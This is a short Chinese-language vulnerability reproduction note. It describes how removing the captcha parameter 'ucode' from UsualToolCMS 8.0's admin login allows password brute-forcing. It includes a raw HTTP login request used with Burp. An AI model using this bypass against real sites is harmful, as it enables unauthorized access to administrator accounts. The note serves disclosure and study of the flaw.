UsualToolcms 8.0 绕过后台验证码爆破

一、漏洞简介

可通过删除验证码参数，进行暴力破解

二、漏洞影响

UsualToolCMS-8.0-Release

三、复现过程

漏洞点:http://0-sec.org/cmsadmin/

后台登陆时默认需要输入验证码，但是当我把验证码的参数ucode删除时，登陆依然成功

1.默认情况下登陆数据包

删除ucode参数和cookie后登陆，直接登陆成功

通过burp爆破后台密码

POST /UsualToolCMS/cmsadmin/a_login.php?do=login HTTP/1.1
Host: 0-sec.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.235.242/UsualToolCMS/cmsadmin/a_login.php
X-Forwarded-For: 8.8.8.8
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 23

uuser=admin&upass=admin